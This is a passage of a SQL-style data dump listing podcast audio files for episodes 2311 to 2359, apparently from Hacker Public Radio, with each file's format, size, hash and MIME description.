(2311,'hpr2311.mp3','mp3',10456254,'90c8647917d76e7af0d75a446896b632a3c430a8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2311,'hpr2311.ogg','ogg',12708531,'8b880f52aabd8e8a2ab77127d5dc8923556d1749','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2311,'hpr2311.spx','spx',4669556,'0c17462301fe4373bdc79e4b3b492c2931be6939','application/ogg; charset=binary','Ogg data, Speex audio'),
(2312,'hpr2312.mp3','mp3',8183634,'ee480b2d20aab07ccdf97205b32e3a699126f7d0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2312,'hpr2312.ogg','ogg',8234212,'6bd1ea42c494a4a7dbaea9023cc331db6105fab5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2312,'hpr2312.spx','spx',3654670,'bc80852f723714decb2d70ed48a6e2fcb7753ea7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2313,'hpr2313.mp3','mp3',17065996,'877011bc7fefbe3973b3fd8428efbc3bf969c426','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2313,'hpr2313.ogg','ogg',16741509,'ae260a6dffa2e4c2c293f32bc3ca10b0837d16d4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2313,'hpr2313.spx','spx',7621463,'37d34f79571b38b974297efaae8e550452859964','application/ogg; charset=binary','Ogg data, Speex audio'),
(2314,'hpr2314.mp3','mp3',12935130,'49e8edbbbdbb3a0f8536c72a81a779df08b66878','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2314,'hpr2314.ogg','ogg',12443605,'0489715b4fbbcb9c22df1a728923fc20ea626e4e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2314,'hpr2314.spx','spx',5776691,'8cc728c28e450be67e53926a9e797f6c86efd98c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2315,'hpr2315.mp3','mp3',10796252,'712b2a3bc593e152d28a9b483addecefb2c4b021','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2315,'hpr2315.ogg','ogg',12666002,'b7b679b11cc6fc2f6c3029e5a3b73a2d6b7998b5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2315,'hpr2315.spx','spx',4821463,'97ba1949a49c4a423854e60354367ab1a6020614','application/ogg; charset=binary','Ogg data, Speex audio'),
(2316,'hpr2316.mp3','mp3',8659865,'d4f162571f3f0d061e80b2bda782b1cfd199847b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2316,'hpr2316.ogg','ogg',10436281,'54d7cba97b2fb2484d13d694fa1906747fdb3518','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2316,'hpr2316.spx','spx',3867309,'e756d4dcd936db600912d4d77a7012ebc316a877','application/ogg; charset=binary','Ogg data, Speex audio'),
(2317,'hpr2317.mp3','mp3',14730491,'37fa2e80ff20dc5d1c7514f91345a452eee5afa7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2317,'hpr2317.ogg','ogg',16516425,'fc460ce228c9a784e8cff9cba1ca12463d0c83aa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2317,'hpr2317.spx','spx',6578530,'d4d86c62ad8aa756737624ec5e4767bbb5f5e665','application/ogg; charset=binary','Ogg data, Speex audio'),
(2318,'hpr2318.mp3','mp3',22806739,'467cca50c6c66c48e13bf35bad34f2d2904e0db4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2318,'hpr2318.ogg','ogg',23725035,'cf4fca9b2ed05aebd081173e9ab44e2bb0255de5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2318,'hpr2318.spx','spx',10185434,'c6a26ea5e85359335494788af74a35ff3be1901b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2319,'hpr2319.mp3','mp3',15582563,'564e5e59cd0a5c705b3c071bf4c4f645367dd199','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2319,'hpr2319.ogg','ogg',15127200,'91eab070890768fd8d0446d6f5e921b8b87eeacd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2319,'hpr2319.spx','spx',6959026,'59f16856779b94891cba05bfd6249717dc11b2b9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2320,'hpr2320.mp3','mp3',8588589,'799d6b58c9db1976f8e80a98ce1c5d17ad59a8a3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2320,'hpr2320.ogg','ogg',9065289,'16f3dd37f8efc4ac204bacc0339134e24dce53f0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2320,'hpr2320.spx','spx',3835484,'c62005115f0709af40c22ea11b8358e1c27fb8f0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2321,'hpr2321.mp3','mp3',9986049,'1b195b88c2e2b3da4f682f1c13e236057d8c822c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2321,'hpr2321.ogg','ogg',11970834,'8b21be93274d98093a6af24c66db37f033a00715','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2321,'hpr2321.spx','spx',4459608,'63b3aa194e7706bb192a70ae835f2f12e845996f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2322,'hpr2322.mp3','mp3',9576056,'74da1bad86feea41c99033158de7f888eeb33958','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2322,'hpr2322.ogg','ogg',10008918,'08e3931d71e0ddce9b3c9a9c42ae781a414654f5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2322,'hpr2322.spx','spx',4276499,'8942f130c915bbe53d2276da94cee7d6b007e5ec','application/ogg; charset=binary','Ogg data, Speex audio'),
(2323,'hpr2323.mp3','mp3',3364141,'ba292fa73fc54dea42b4d56c9db20c755d92d951','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2323,'hpr2323.ogg','ogg',3804566,'6971d0aa62512167240b206ead1d4379f631866a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2323,'hpr2323.spx','spx',1502232,'5d3a9f726077d2b69bd3fb8b946bdfc2701a4a32','application/ogg; charset=binary','Ogg data, Speex audio'),
(2324,'hpr2324.mp3','mp3',3736742,'d1b9dd769567f0a795ca404e637a9abfded076e2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2324,'hpr2324.ogg','ogg',3953806,'7863c83ce7226cdb3aeef6f464ac72c51289f643','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2324,'hpr2324.spx','spx',1668563,'07d88b937266aa8b70aa9480971662864cac2ca4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2325,'hpr2325.mp3','mp3',11411284,'f003b78b85d5d5b78b068929c2f72460291a89a5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2325,'hpr2325.ogg','ogg',13271125,'456f45dfec8cb4696fdf946bc7bed43bff666441','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2325,'hpr2325.spx','spx',5096147,'845133e76d17e973a23c696cffc14f8979c020d9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2326,'hpr2326.mp3','mp3',38293601,'6bea50befa0757069bba91fbca227b1496ce0ea6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2326,'hpr2326.ogg','ogg',38339750,'affc73181209ab782c9386416daf0f71317c7dc9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2326,'hpr2326.spx','spx',17102055,'e55cc6f2f0ca9febbf6f7ba7e70807989b169518','application/ogg; charset=binary','Ogg data, Speex audio'),
(2327,'hpr2327.mp3','mp3',4490722,'a9cc42a6bf3a9569a1edfed5f25cbd3e16911f8a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2327,'hpr2327.ogg','ogg',4254493,'50a3077541d3b230e629e94a90187684ef1db546','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2327,'hpr2327.spx','spx',2005328,'620df6b732b1a5401a187f9689c88c2ad15c52c4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2328,'hpr2328.mp3','mp3',7774418,'7cbe25f1a81f602e612be216bf6651554f4b1f42','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2328,'hpr2328.ogg','ogg',9212098,'23a3a1a64a6afe383b88eeaaae6e6752debaccfa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2328,'hpr2328.spx','spx',3471928,'0d8a8cbdfe01ff1419505a5fd8eb88a3757ed2f2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2329,'hpr2329.mp3','mp3',9420352,'e1ecad2cdef60e94d8565e673c6856435afe1e44','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2329,'hpr2329.ogg','ogg',10521884,'add50d5bceadf3f1989eee111f76877ece8e90ec','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2329,'hpr2329.spx','spx',4206942,'9a0735ea05c90bfe349053da5155bcbcaf0fb0f4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2330,'hpr2330.mp3','mp3',11241555,'364b09bc747bc4f0fab58ff805ceae2ad5958041','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2330,'hpr2330.ogg','ogg',11668418,'e984612bdec1615806bcdc8eaca83204c519a835','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2330,'hpr2330.spx','spx',5020291,'63f3d8054270f6c21b2927b1f2b1dcf599d42071','application/ogg; charset=binary','Ogg data, Speex audio'),
(2331,'hpr2331.mp3','mp3',3599642,'cce2b48c7ad61e77cd2576a4360d9ec8ab731dc5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2331,'hpr2331.ogg','ogg',3789368,'8401d0a32872562e9adecda5bd7b097a605ceb76','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2331,'hpr2331.spx','spx',1607400,'38c9c94feb89fec2266dc966cb0f8867841e86bd','application/ogg; charset=binary','Ogg data, Speex audio'),
(2332,'hpr2332.mp3','mp3',3124636,'974faddeb020255ef22b6847e123f9c7647f242d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2332,'hpr2332.ogg','ogg',3210605,'555f8c20fe1d4bc376fe890a8edc70d67f51959d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2332,'hpr2332.spx','spx',1395228,'91a01ecf7f0a66b11529c102c1fe611bd007c890','application/ogg; charset=binary','Ogg data, Speex audio'),
(2333,'hpr2333.mp3','mp3',7773822,'5cdab2ad4da230fe56e0bef20884e8c9d9abf6cb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2333,'hpr2333.ogg','ogg',8493907,'6bd59ac0ea099187b45f32e6570baab55bc07d11','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2333,'hpr2333.spx','spx',3471604,'0991781d87cfd41a703a06b17d3ede452393d53b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2334,'hpr2334.mp3','mp3',8808871,'d0f469d3fcb66ac9ec9adcc2fac7b05cba4dbaab','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2334,'hpr2334.ogg','ogg',9223250,'96b67b8781836b765e30410329bc9229cf06d1fc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2334,'hpr2334.spx','spx',3933890,'14f0d9fe44a3c043fa6e4e780b39cc4539f21247','application/ogg; charset=binary','Ogg data, Speex audio'),
(2335,'hpr2335.mp3','mp3',7798784,'bc799846bf39d3b0e1a2dd7aba588470e481e241','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2335,'hpr2335.ogg','ogg',10019968,'acab56103e6980d8e0d2a145ccd30c3d3b47f3ac','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2335,'hpr2335.spx','spx',3763187,'4eaaed8c21f51d7369acb9489e717601051089be','application/ogg; charset=binary','Ogg data, Speex audio'),
(2336,'hpr2336.mp3','mp3',4109761,'8e5d6e2c6ea6ddb65460c7a25e692a38beba7214','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2336,'hpr2336.ogg','ogg',4331103,'62b26800d0499bd4ccdee414b7cc4853301841ca','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2336,'hpr2336.spx','spx',1835206,'d3d3a33ba7c40249c7fa07fa3805ea794c1ac837','application/ogg; charset=binary','Ogg data, Speex audio'),
(2337,'hpr2337.mp3','mp3',9249155,'22795a0f8a1fdab81f9d80ba7c2b2f986adeebf6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2337,'hpr2337.ogg','ogg',10964366,'1307a8e825f9ff686d4ae635953f2913b2436dbb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2337,'hpr2337.spx','spx',4130515,'89f1a1b9cfaa50d335e83117ab0cc6bd108b432a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2338,'hpr2338.mp3','mp3',5182457,'ecb0c2191900a4703a71cbe946cd1b584b30c38b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(2338,'hpr2338.ogg','ogg',4137522,'02b0eb77f17cfdfbd8de96d15e8f306a0bfa9adf','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(2338,'hpr2338.spx','spx',1157285,'2436ca74b28fbb0a06f3a1f711f5d099b9ac24b0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2339,'hpr2339.mp3','mp3',11125995,'9c26d568c106cbab3b795db75542d335ae5165f2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2339,'hpr2339.ogg','ogg',12436364,'803804e82f94b5e7485615859e4f901842406796','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2339,'hpr2339.spx','spx',4968711,'7753db9a4b69f3e34d80b6140da6f4a4b9a6b91a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2340,'hpr2340.mp3','mp3',11419021,'bade9cb066138a27172afee32726172caa7f2871','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2340,'hpr2340.ogg','ogg',14133549,'28afd8940ce232b13b89799c9f7145d2195147f5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2340,'hpr2340.spx','spx',5099586,'88b7525c6520b5ab961930b1d7055fa75852da53','application/ogg; charset=binary','Ogg data, Speex audio'),
(2341,'hpr2341.mp3','mp3',4153229,'2c1cf4df370e46bbba8ca5c13718007afca02328','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2341,'hpr2341.ogg','ogg',4297869,'91d5727d296512276a70e77868de36eff2b4a581','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2341,'hpr2341.spx','spx',1854555,'bc3f14bd46b9d5ee946fbc2611b269f27e2965ff','application/ogg; charset=binary','Ogg data, Speex audio'),
(2342,'hpr2342.mp3','mp3',13221468,'192525aff23651db5a6a4111ac36c06016518512','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2342,'hpr2342.ogg','ogg',13755582,'b669fccf0454bb2277f9081c9262b81ca5d36b44','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2342,'hpr2342.spx','spx',5904557,'ab7884dcbb74a2a972c62317d16b4abdec4b3a07','application/ogg; charset=binary','Ogg data, Speex audio'),
(2343,'hpr2343.mp3','mp3',9945503,'c2e774c46d5fb9ce17a1f01f3c33e576bd64b851','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2343,'hpr2343.ogg','ogg',10777938,'2c9115e967033733b5ef3df8083c93adaa391608','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2343,'hpr2343.spx','spx',4441462,'cd6e6570a90ff7d9a3e8ccc967b6d8f05ec3e391','application/ogg; charset=binary','Ogg data, Speex audio'),
(2344,'hpr2344.mp3','mp3',8091062,'aba7e95e42a010efd90504aa1e0e706919f87215','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2344,'hpr2344.ogg','ogg',9778292,'9a1fa48c9fce7a4c44dff32b67f508592a866870','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2344,'hpr2344.spx','spx',3613296,'4014308ed72d7a9044418841555c008857a6e70d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2345,'hpr2345.mp3','mp3',5317410,'bbec84c8333e623e50b1da50f1445209aa0844d3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2345,'hpr2345.ogg','ogg',5921346,'bd462a231c5acda12e0236f03a94c0f4eb108e37','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2345,'hpr2345.spx','spx',2374526,'a7a7c5d9268465f97807d4bac34a4ca60de2f9f6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2346,'hpr2346.mp3','mp3',3646036,'cf9315ca6163859dc0329a806858ff47a828554c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2346,'hpr2346.ogg','ogg',3804967,'e32d1ad8da35641b790b5bf95f4c235d6da9b8ed','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2346,'hpr2346.spx','spx',1628125,'5c609702997c77bb717321603b242e24f6c2523a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2347,'hpr2347.mp3','mp3',19072257,'3a69fce5506ea05158914d0d5e7a18adb28c6143','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2347,'hpr2347.ogg','ogg',17391512,'aa4fe7e241d2bd9747a2ef6b7bb65c6533101c9f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2347,'hpr2347.spx','spx',8517612,'dd7bc958c3a31150faacd97605edd4726d1c0c8f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2348,'hpr2348.mp3','mp3',19376920,'72ff78d48781a5bcb4205d5188186da5ed438348','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2348,'hpr2348.ogg','ogg',21548778,'a9ceb3f7048e17ff8d00c5d924326df29a44b402','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2348,'hpr2348.spx','spx',8653630,'0da60afb32e9f5a723d25a387572f9ab6ce92ddb','application/ogg; charset=binary','Ogg data, Speex audio'),
(2349,'hpr2349.mp3','mp3',12720117,'e6410d10dca717aad51ce8de8d4a7e7ef415745c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2349,'hpr2349.ogg','ogg',14679861,'6966c3c54d9a47b05b856fb7030c513446d304cc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2349,'hpr2349.spx','spx',5680674,'b4ffb482c0909c671ca0269293370e593d32bae8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2350,'hpr2350.mp3','mp3',6030474,'f6bd1a7a8f5f9e71092a4d60be3ef2af157c0b64','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2350,'hpr2350.ogg','ogg',7056033,'dff616aba05118751d34a42a3f173dfb5d13d8dc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2350,'hpr2350.spx','spx',2693023,'ea6936230b24235fc7f0066eceaff3b851e31460','application/ogg; charset=binary','Ogg data, Speex audio'),
(2351,'hpr2351.mp3','mp3',19666024,'11e763a4e5e454077e230c09e3e4b8653b05786f','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2351,'hpr2351.ogg','ogg',20968690,'a20ec195600498f4a0ff09e23f2ef35fc50e2ebe','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2351,'hpr2351.spx','spx',8783189,'bcb098189d79310d8fd0a8550df457bb4627ee94','application/ogg; charset=binary','Ogg data, Speex audio'),
(2352,'hpr2352.mp3','mp3',2665085,'a7d91b26a1dcffdfb54f1a69c1b7df3f908c074a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2352,'hpr2352.ogg','ogg',2822487,'424115577470002b127bf42df4217ebfeefdb853','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2352,'hpr2352.spx','spx',1190016,'ee241185d9123bc41105c891ed4383cb18b9cc36','application/ogg; charset=binary','Ogg data, Speex audio'),
(2353,'hpr2353.mp3','mp3',6322468,'4c39366c9c9f0f4080c7f98022c4fcc04160fa3e','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2353,'hpr2353.ogg','ogg',7408597,'53fa1c3e66afdb696e59c40e2068f6ae49f39f34','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2353,'hpr2353.spx','spx',2823824,'8b1fcfdc5e437e1801160513581e7743f452815d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2354,'hpr2354.mp3','mp3',5494649,'6d61ecc6d46f05295dc33b998434be79678e908a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(2354,'hpr2354.ogg','ogg',4317340,'d6017153a43a6c6db56de84f490d251035abc37a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(2354,'hpr2354.spx','spx',1226990,'c5e0415cb5cfc705afc03b5ebbca8dc8c7935bab','application/ogg; charset=binary','Ogg data, Speex audio'),
(2355,'hpr2355.mp3','mp3',6872711,'b8991f73bd2c271e8c1e0a59a6c86e14294845c9','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2355,'hpr2355.ogg','ogg',7243185,'2a1633a672ef3e0a8e57182e51287d5711ed53f4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2355,'hpr2355.spx','spx',3069586,'0f663c9307a062607b142f9dd6cbb5e3924f33c3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2356,'hpr2356.mp3','mp3',16872575,'924378e9eed1b4db9d0ef54445195104e5d22a7b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2356,'hpr2356.ogg','ogg',18055256,'569ba88a7f1fba93a59adda908d88c60c94dd259','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2356,'hpr2356.spx','spx',7535250,'ec31ab76cc83edd7706f9a60d5d13d4d104e2f28','application/ogg; charset=binary','Ogg data, Speex audio'),
(2357,'hpr2357.mp3','mp3',8089182,'9288720c0759a0448fe02189e75ca419bb307325','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2357,'hpr2357.ogg','ogg',8858911,'7e2d93147c453afa16deb3b3988e25fd9a0665f7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2357,'hpr2357.spx','spx',3612855,'098c5846e12e4a48628e155ff6fe24d7fa37b664','application/ogg; charset=binary','Ogg data, Speex audio'),
(2358,'hpr2358.mp3','mp3',23223693,'406d9d7e0f5d2b6ee93f924ed1034cf1084fa5a1','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2358,'hpr2358.ogg','ogg',22130762,'2083b0278b38f91ec3929ca85742c2268e203e39','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2358,'hpr2358.spx','spx',10372053,'890a62bdf3a8dda21911e364624baa822f4fe334','application/ogg; charset=binary','Ogg data, Speex audio'),
(2359,'hpr2359.mp3','mp3',13837165,'f399a05e8ffc618321fd8d4dd17817fd7fbafe52','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
